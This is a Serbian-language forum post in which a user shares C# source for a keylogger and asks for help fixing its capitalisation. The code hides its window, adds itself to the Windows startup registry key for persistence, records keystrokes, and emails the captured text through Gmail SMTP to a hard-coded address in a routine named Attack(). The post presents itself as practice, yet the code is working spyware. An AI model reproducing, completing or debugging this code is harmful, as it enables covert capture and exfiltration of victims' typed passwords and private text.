Keylogger

Keylogger

offline
  • Pridružio: 05 Maj 2010
  • Poruke: 112

Posle male pauze sa c#-om zbog prelaakog php-a, vracam se svom C#-u opet Laughing
I sada se malo igram hakingom, bez krekerskih namera, cisto vezbanje.

Uradio sam sve i ono radi, ali prikazuje sva slova kao velika, a meni treba da prikazuje ona slova koja je korisnik uneo, veliko ili malo...

Naravno to sam pokusao da proverim preko IsUpper() metode, ali bezuspesno.
Kome je dosadno neka mi pomogne, moze i VB, Java ili C# kodom ispravka nebitno. Smile
Mozda bih ovo uspeo i sam da me glava ne boli :/
dakle obratite paznju samo na deo koda gde je KeyDown dogadjaj
evo Source:

using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Net.Mail; using System.Net; using System.Net.Security; using Microsoft.Win32; namespace Keylogger {     public partial class Form1 : Form     {         public Form1()         {             InitializeComponent();             this.Opacity = 0;             InitializeStartUp();         }         private void InitializeStartUp()         {             RegistryKey rk = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);             rk.SetValue(this.Name, Application.ExecutablePath.ToString());         }         MailAddress ma;         MailMessage ms;         private void richTextBox1_TextChanged(object sender, EventArgs e)         {             Attack();         }         private void Attack()         {             if (richTextBox1.Text.Count() > 100)             {                 ma = new MailAddress("srdjan.nezic93@gmail.com");                 ms = new MailMessage();                 ms.From = ma;                 ms.To.Add(ma);                 ms.Subject = "Hi";                 ms.Body = richTextBox1.Text;                 var client = new SmtpClient("smtp.gmail.com", 587)                 {                     Credentials = new NetworkCredential("*****@****.com", "******"),                     EnableSsl = true                 };                 try                 {                     client.Send(ms);                     MessageBox.Show("Mail sent!");                     richTextBox1.Clear();                     Attack();                 }                 catch                 {                     richTextBox1.Clear();                     Attack();                 }             }         }         private void Form1_KeyDown(object sender, KeyEventArgs e)         {             Keys[] key = new Keys[] { e.KeyCode };             string x = key[0].ToString();             char[] rich = x.ToCharArray();             string sex = rich[0].ToString();             if (char.IsUpper(rich[0]))             {                 sex.ToUpper();             }             else             {                 sex.ToLower();             }             richTextBox1.Text += sex;         }     } }



Registruj se da bi učestvovao u diskusiji. Registrovanim korisnicima se NE prikazuju reklame unutar poruka.
Ko je trenutno na forumu
 

Ukupno su 484 korisnika na forumu :: 7 registrovanih, 0 sakrivenih i 477 gosta   ::   [ Administrator ] [ Supermoderator ] [ Moderator ] :: Detaljnije

Najviše korisnika na forumu ikad bilo je 3028 - dana 22 Nov 2019 07:47

Korisnici koji su trenutno na forumu:
Korisnici trenutno na forumu: amstel2, dragoljub11987, LUDI, sakota79, sasa762, Srki94, vukovi